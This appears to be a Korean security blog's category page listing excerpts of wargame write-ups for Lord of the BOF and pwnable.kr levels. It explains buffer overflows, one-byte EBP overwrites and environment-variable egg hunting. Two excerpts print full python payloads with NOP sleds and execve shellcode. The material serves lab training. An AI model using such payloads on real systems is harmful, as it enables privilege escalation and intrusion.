본문 바로가기

HACKING_GAME/SYSTEM7

LOB#12 darkknight 0. Payload /home/golem/darkknight `python -c "print '\xc8\xfb\xff\xbf'+'\x90'*32+'\xc4\xfb\xff\xbf'+'\x14'+'\x90'*59+'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'+'\x90'*75"` 1. 개념 1) 1 byte overflow란? 스택 프레임 안에 ebp 주소 1byte 변조 가능 시, ebp 값이 4byte+shellcode 참조 주소를 가르키도록 하여 shellcode 실행하는 기법이다. 2) core dump란? 프로그램이 비정상 종료 시점에서 프로세스 메모리를 dump.. 2020. 7. 19.
LOB#1 gate 0. Payload /home/gate/gremlin `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x90"*135+"\xd0\xf8\xff\xbf"+"\x90"*100'` 1. 문제풀이 1) CODE 소스코드 확인 시, 인자값 길이를 확인하지 않음을 알 수 있다. 2)SOLUTION main() 시작점에서 return address, strcpy() 호출 이후 stack 내 userinput 저장 위치를 확인할 수 있다. shellcode 실행을 위해, return address 위치 - userinput 위치를.. 2020. 7. 19.
PWNABLE#7 input 풀이 동영상 youtu.be/mLqUMv8PpDU PPT 템플릿 출처 : https://m.post.naver.com/viewer/postView.nhn?memberNo=6532296&volumeNo=16877465 2020. 5. 14.
LOB#6 check length of argv[1] + egghunter + bufferhunter (wolfman -> darkelf) PPT 템플릿 출처 : https://m.post.naver.com/viewer/postView.nhn?memberNo=6532296&volumeNo=16877465 2020. 5. 10.
LOB#4 egghunter (goblin -> orc) 1. 개념 eggshell란 ? stack내 shell code 저장 불가 시 (or etc), 환경변수 내 shell code 저장 후, 환경변수의 주소 값으로 eip를 이동시켜 shell code 실행하는 기법 2. 문제풀이 1. CODE /* The Lord of the BOF : The Fellowship of the BOF - orc - egghunter */ #include #include extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; if(argc 인자 문자열+48번째 바이트와 0xbf를 비교 [3] strcpy() 문자열 길이 NO CHECK 1. return address 주소 CALL main .. 2020. 4. 26.
PWNABLE#3 bof 문제 풀이 1. CODE 2. Assembly 3. Solution 이용자의 input 길이 미계산 함수 존재 -> stack 내 arguments, return address 변조 가능 인자 값을 0xcafebabe 로 변경 or Return address system() 주소로 변경 가능, -> 인자 변경을 통한 쉘 획득으로 결정 1) Checking an argument's address CALL 함수 실행 전 인자 삽입, CALL 함수 실행 시 Return Address 저장 =0xffffd300 2) Checking an address of user's input =0xffffd2c0 인자 값 변경에는 성공했으나, shell 실행 값 확인 불가 python을 이용하여 script input하기 .. 2020. 4. 26.
LOB#2 small buffer (gremlin -> cobolt) 1. 개념 1) Case 다수 이용자(Robot, Eric, Otis) 접속 가능 서버 존재, 각 이용자에 따른 권한(파일 확인, 수정, 실행) 다름. 서버 내 파일 중, 실행 시 파일 소유자, 소유 그룹의 권한 획득 가능 파일 존재 (불법사이트 서버 관리자인 Eric의 파일을 참고해야하는 DB관리자 Robot, 하지만 Robot 따위에게 서버 최고 권한을 줄 수 없음, Eric은 Robot이 파일을 참고할 수 있도록, 프로그램(Eric이 소유한 파일) 실행 시, Eric 파일을 볼 수 있는 Binary file을 만들어줌) 2) Vulnerability 프로그램 실행 시, input 내 SHELL 실행 코드 삽입 및 실행 가능하다면? -> 서버 내 타 이용자의 권한 획득 가능 -> 접근 권한이 없는 파.. 2020. 4. 26.